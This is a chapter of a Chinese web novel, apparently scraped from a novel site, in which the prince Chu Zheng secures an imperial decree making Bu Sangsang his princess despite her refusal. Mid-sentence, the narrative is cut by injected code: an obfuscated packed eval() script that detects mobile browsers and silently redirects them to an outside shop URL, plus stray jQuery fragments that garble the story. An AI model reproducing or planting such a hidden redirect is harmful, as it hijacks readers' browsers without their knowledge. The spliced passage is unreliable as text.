文趣网 > 其他小说 > 恶毒女配请动手 > 22. 赐婚
    “你可知你在做什么?”褚铮真的很不理解,女子的名节何其重要,她却似一点都不在意。

    卜桑桑扬起头,郑重道:“我当然知道,我想与你划清界限,从今往后,没有任何瓜葛。”

    “不可能。”褚铮下意识地反驳道,“纪将军心中只有宋姑娘,你跟他永无可能。”

    卜桑桑冷笑道:“他喜不喜欢我,是他的事,我喜欢他就够了。”

    褚铮目光直直地盯着她,好似要把她盯出一个洞来:“你眼里只能看到他吗?那我呢?我对你的心意,你一点都看不到吗?”

    卜桑桑道:“你的心意,是喜欢吗?我姑且当做是喜欢好了。那你告诉我,你喜欢我什么?我有什么地方值得你喜欢?喜欢到什么程度?”

    褚铮被她问得愣了,他不是没想过这个问题,若论条件,她没有什么地方是值得人称赞的,可他就是会想她,甚至期待着可以日日见到她。

    他想了又想,只能说道:“我喜欢的就是你这个人,我不知道喜欢你到何种程度,但我知道我想以后的人生都能与你一起度过。”

    卜桑桑听到他这话,非但没有感动,心中只有一个想法:“你已经不打算放过我了,是吗?”

    褚铮沉默地看了她一会儿,随即正色道:“无论你怎么想,你都只能是我的人,这件事,不会改变。”

    卜桑桑道:“可我一点都不喜欢你。”

    褚铮笑道:“往后的日子长着呢,我们可以慢慢培养感情,日久生情。”

    卜桑桑一口气堵在嗓子眼,胸口剧烈起伏着,没想到他这样油盐不进。

    她此时真恨不得给他两巴掌,心中的怒火压都压不住,索性破口大骂:“亏你平日一副道貌岸然的样子,其实你就是个阴险小人、懦夫,不敢争取白月光,在我面前装出一副深情模样。想纳我做小,你做梦!我宁可死了,也绝不进你乾王府的门!”

    前面的话,褚铮没怎么听懂,不过最后这两句,他听得很清楚。

    先前的那些犹豫、纠结,尽数散去,他看着卜桑桑,问:“倘若我如你所愿,你是不是就不生我的气了?”

    卜桑桑气还没喘匀,听他这样说,不禁有些怀疑:“你不是在耍我吧?刚才你还不愿意,被我骂几句就想通了?”

    褚铮笑容明朗,道:“多亏你骂我,现在我知道怎么做了,你放心,你担心的事我会解决。”

    卜桑桑仍有些不放心,他怎么突然就转性了?

    “你忙了一早上,想必累了。”褚铮看了看地上的花瓣,道,“先回府休息吧!”

    他亲自将卜桑桑扶上尚书府的马车,在卜桑桑茫然的目光中,转身往宫内走去。

    看着他的背影,卜桑桑觉得她的智商似乎真的不够用,她这会儿怎么也理解不了他的行为了。

    马车驶离宫门口,卜桑桑掀帘一看,卜天麟和卜青禾正等在前方。

    一上马车,卜青禾就兴奋地问道:“你这一闹,全京城的官员都知道你钟情纪砚寒,乾王的脸色是不是很难看?”

    卜桑桑点点头:“可是他的行为很反常,我不知道他是什么意思。”

    卜天麟道:“放心吧,经此一事,即使他还想要你,皇上也不会同意。”

    卜桑桑对此半信半疑,褚铮真就这么放弃了?她始终有种不真实感。

    怀揣着心中的不安,回到尚书府。

    一家人刚用完早膳,管家便急匆匆跑了进来:“老爷,宫里来人了,请您和小姐去接旨。”

    接旨?

    一家人心里同时咯噔一下,看来他们这回是弄巧成拙了。

    卜尚书换了官服,领着阖府家眷视死如归地走出去。卜桑桑跪在卜尚书身后,垂首静听司礼监太监宣旨:

    “奉天承运皇帝,制曰:朕惟婚姻之道,人伦之始。夫妇之义,王化之基。古之圣王,莫不重之。

    今有户部尚书之女卜氏,毓自名门,夙娴内训。温惠秉心,柔嘉表度。克娴于礼,允协于德。朕闻其贤,特简为配。”

    卜桑桑心底嗤笑:“真是会给自己脸上贴金,这些词汇,没一个与她相符。”

    “咨尔乾王褚铮,朕之手足,国之藩屏。年已及冠,宜正室家。今特赐婚,以卜氏为乾王妃。”

    “乾王妃”三个字入耳,惊得卜尚书愣神许久,满心怀疑自己耳朵出了问题。

    宣旨完毕,司礼监太监唤了声:“卜尚书,接旨谢恩吧!”

    卜尚书毫无反应,还是卜天麟轻轻推了推他,这才如梦方醒,伏身叩首,双手接过圣旨。

    “尚书大人,恭喜了。”

    司礼监太监笑着道贺,卜尚书依例命人备了茶仪相送。

    待人走后,方才打开圣旨,仔仔细细看了一遍。

    他先前担忧女儿做小,从未想过,乾王会许以王妃之位。

    直到现在圣旨在手,他依旧觉得不真实。

    想到今早,他还支持女儿在宫门前表演那一幕,将乾王的脸面肆意践踏,此刻竟觉有些愧疚。

    最高兴的莫过卜青禾,她神色雀跃,欢喜道:“大姐,这回你相信乾王对你是认真的了吧?你今天那么踩他面子,他都能给你王妃之位,他对你可谓是一往情深啊!”

    卜桑桑愣愣地站在一边,看着她的家人们脸上,由开始的错愕逐渐转向欢喜,心中一片空茫。

    她现在总算明白,褚铮说的如她所愿是什么意思了。

    合着她说了那么多话,他是只捡他愿意听的去理解。

    这道圣旨,将她家人原本的担忧化解,从此以后,她想摆脱褚铮,只怕他们都不会谅解。

    圣旨安放妥帖,周姨娘吩咐管家,给府里的下人发赏钱,尚书府上下洋溢着一片喜气。

    “桑桑,乾王既是真心待你,爹便放心了。皇家规矩甚多,从今往后,你可不能再向以前那般胡闹。”卜尚书叮咛完她,便去写庚帖了。

    明日礼部便要上门问名,他们这边得提前备好回礼,还得重新布置正厅,设好香案,府内上下逐渐忙碌起来。

    卜桑桑反

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644431|206041||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    倒像个局外人一般,无所事事。

    圣旨已下,她那条自毁名节的路都被堵死了。一时间,还真找不到事做。

    ——

    赐婚的消息很快在京城各府传开,各府官员早上才看了那样一出戏,卜桑桑的行为岂是出格可以形容?

    他们还在猜测,乾王是否就此厌恶了卜家,谁成想,不到半日,她便成了准乾王妃。

    依他们的经验,乾王即使是看上了卜桑桑,最多不过许个侧妃。

    如今这个结果,让他们倾力培养出来的那些端庄贤淑的女儿,好似都成了笑话。

    将军府内,纪婉颜气得连砸了十几个茶杯。

    她怎么也想不明白,乾王怎么会看上卜桑桑那个一无是处的女人?

    早上宫门口发生的事,她自然也听说了,卜桑桑那么不顾廉耻的行为,乾王居然一点都没计较。

    纪砚寒劝道:“婉颜,事已至此,你生气也没用,京城青年才俊多的是,哥一定为你寻一门好亲事。”

    他本是一番好意,谁知纪婉颜竟将一切都怪在了他头上:“都怪你,你为什么不能接受卜桑桑,卜桑桑一心追着你,你要是娶了她,她哪会有今天的王妃之位?”

    纪砚寒皱眉斥道:“你胡说什么?莫说她与乾王关系匪浅,便是没有关系,我心中之人也不是她。”

    纪婉颜气得口不择言:“你不就是喜欢宋惜宁吗?在我看来,她和卜桑桑没什么两样,我们所有人都不喜欢她,你的眼光也好不到哪去。”

    “婉颜,宋姑娘她是我喜欢的人,如果你还认我是你哥,以后就不要让我再听到这样的话。”纪砚寒冷下脸,说道,“否则,你别再叫我哥。”

    纪婉颜见他真的生气了,不敢再说,只一个劲地掉眼泪。

    她站在满地的碎瓷中间,胸口还在剧烈起伏,脑子里只有一个念头,翻来覆去。

    凭什么?

    凭什么是卜桑桑?

    从十二岁见到乾王的第一眼起,她便开始为那个位置做准备。

    琴棋书画,针黹女红,甚至礼仪宫规,哪一样,她都是出类拔萃的。

    论相貌,她打小便被夸是美人胚子,及笄之后更是出落得明艳大方,放眼京城能与她相比的也没几个。

    她是有些娇蛮任性,可从未当众做过什么丢人的事,为了乾王,她甚至愿意永远做一个端庄贤淑的女子。

    而卜桑桑,且不说她大字不识几个,就凭她嚣张跋扈,肆意妄为,做的丢脸之事更是不胜枚举。

    莫说名声,她是连名节都没有。

    她居然轻易得到了别人梦寐以求的地位。

    在纪婉颜心中,当朝最尊贵的乾王,论身份,论才学,论气度,满京城找不出第二个能与他比肩的人。

    他往那里一站,什么都不用做,便是满堂生辉。他疏淡有礼,进退有度,骨子里与生俱来的矜贵,更让旁人永远难以企及。

    她纪婉颜根本就没想过嫁给他以外的人,满京城除了乾王,还有谁配得上她?